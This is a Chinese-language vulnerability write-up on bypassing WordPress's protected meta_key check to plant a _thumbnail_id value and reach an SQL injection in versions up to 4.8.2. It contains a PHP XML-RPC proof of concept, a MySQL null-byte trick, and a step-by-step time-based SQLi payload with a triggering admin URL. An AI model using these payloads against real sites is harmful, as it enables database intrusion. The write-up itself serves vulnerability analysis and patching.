之前已有几篇文章对WordPress(4.8.2及以下版本)的SQL注入进行了分析。看过漏洞分析的同学会发现该漏洞的利用除了需要编辑权限之外,还有一个关键步骤,需要将Payload作为_thumbnail_id的metavalue写入数据库,但是以`_`开头的meta_key为系统保留key,无法作为自定义key添加。本文将介绍两种添加_thumbnail_id的方法。

WordPress中的POST META为文章自定义栏目/字段,就如一篇文章中会有标题作者等字段,但是对于有些主题/插件来说,文章中的自有字段显得不够用,就需要用到自定义栏目/字段

(该操作的位置在添加/编辑文章,在文本编辑框下方的自定义栏目,如果没有找到自定义栏目,需要在右上角的显示选项内将自定义栏目勾选。)

自定义栏目/字段的数据以meta_key(字段/栏目名)->meta_value(值)的形式存放在wp_postmeta表内。以下划线开头的meta_key(字段/栏目名)被认为是保留字段,不允许用户添加。

本文将介绍如何绕过Wordpress的meta_key检查,添加字段/栏目名以下划线开头的自定义栏目/字段

第一章 WordPress ≤ 4.7.4 XML-RPC API POST META 未校验漏洞

参考内容:WordPress 4.7.5 Security and Maintenance Release

1.1 POC

$usr = 'author';
$pwd = 'author';
$xmlrpc = 'http://local.target/xmlrpc.php';
$client = new IXR_Client($xmlrpc);
$content = array("ID" => 6, 'meta_input' => array("_thumbnail_id"=>"xxx"));
$res = $client->query('wp.editPost',0, $usr, $pwd, 6/post_id/, $content);

POC来自 WordPress SQLi — PoC by slavco

1.2 漏洞分析

补丁位置:wp-includes/class-wp-xmlrpc-server.php

{% asset_img 1.2.1.png 漏洞分析 %}

根据补丁的内容,是将传入的$content_struct内容进行了白名单限制,同时也过滤了POC中的meta_input

1.先看修复后的_insert_post函数中我们关注代码(文件:wp-includes/class-wp-xmlrpc-server.php

protected function _insert_post( $user, $content_struct ) {
    $defaults = array(
        ...//ignore 'custom_fields' => null, 'terms_names' => null, 'terms' => null, 'sticky' => null, 'enclosure' => null, 'ID' => null,
    );
    $post_data = wp_parse_args( array_intersect_key( $content_struct, $defaults ), $defaults );
    ...//ignore if ( isset( $post_data['custom_fields'] ) )
        $this->set_custom_fields( $post_ID, $post_data['custom_fields'] );
    ...//ignore $post_ID = $update ? wp_update_post( $post_data, true ) : wp_insert_post( $post_data, true ); if ( is_wp_error( $post_ID ) ) return new IXR_Error( 500, $post_ID->get_error_message() ); if ( ! $post_ID ) return new IXR_Error( 401, __( 'Sorry, your entry could not be posted.' ) ); return strval( $post_ID );
} 

按正常的业务流程,POST META应当是从custom_fields中获取,之后带入set_custom_fields函数中,而且set_custom_fields函数会对meta_key进行检查,不应当存在问题。

但是在wp_update_post函数与wp_insert_post函数中,会从$post_data['meta_input']中取出数据,不经检查直接添加到自定义栏目/字段中。

2.函数wp_insert_post中我们关注的代码(文件:wp-includes/post.php

function wp_insert_post( $postarr, $wp_error = false ) {
    ...//ignore $postarr = wp_parse_args($postarr, $defaults); unset( $postarr[ 'filter' ] );
    $postarr = sanitize_post($postarr, 'db');
    ...//ignore if ( ! empty( $postarr['meta_input'] ) ) { foreach ( $postarr['meta_input'] as $field => $value ) {
            update_post_meta( $post_ID, $field, $value );
        }
    }
    ...//ignore } 

第二章 WordPress ≤ 4.8.2 POST META 校验绕过漏洞

WordPress目前最新版为4.8.3,建议大家更新。

2.1 一个MySQL的trick

1). 正常的条件查询语句

mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id'; +---------+---------+----------------+------------+ | meta_id | post_id | meta_key       | meta_value | +---------+---------+----------------+------------+ |       4 |       4 | _thumbnail_id  | TESTC      | +---------+---------+----------------+------------+ 1 row in set (0.00 sec) 

2). 现在我们将_thumbnail_id修改成”\x00_thumbnail_id”

mysql> update wp_postmeta set meta_key = concat(0x00,'TESTC') where meta_value = '_thumbnail_id';
Query OK, 0 rows affected (0.00 sec)
Rows matched: 0  Changed: 0  Warnings: 0 

3). 再次执行第一步的查询

mysql> SELECT * FROM wp_postmeta WHERE meta_key = '_thumbnail_id'; +---------+---------+----------------+------------+ | meta_id | post_id | meta_key       | meta_value | +---------+---------+----------------+------------+ |       4 |       4 |  _thumbnail_id | TESTC      | +---------+---------+----------------+------------+ 1 row in set (0.00 sec) 

我们可以发现依然可以查询出修改后的数据。

2.2 POST META 校验绕过

我们来看下检查meta_key的代码,文件./wp-includes/meta.php

function is_protected_meta( $meta_key, $meta_type = null ) {
    $protected = ( '_' == $meta_key[0] ); /**
     * Filters whether a meta key is protected.
     *
     * [@since](/since) 3.2.0
     *
     * [@param](/param) bool   $protected Whether the key is protected. Default false.
     * [@param](/param) string $meta_key  Meta key.
     * [@param](/param) string $meta_type Meta type.
     */ return apply_filters( 'is_protected_meta', $protected, $meta_key, $meta_type );
} 

is_protected_meta函数只检查了$meta_key的第一个字符是否以_开头。我们有了2.1的MySQL trick,想要绕过meta_key的检查就显得容易多了。

2.3 POC

  1. 添加自定义字段,meta_key为’_thumbnail_id’的meta_value为’55 %1$%s or sleep(10)#’
  2. 在添加自定义栏目/字段时抓包,将_thumbnail_id替换为%00_thumbnail_id
  3. 访问/wp-admin/edit.php?action=delete&_wpnonce=xxx&ids=55 %1$%s or sleep(10)#,触发SQL注入漏洞

参考

*本文作者:Ambulong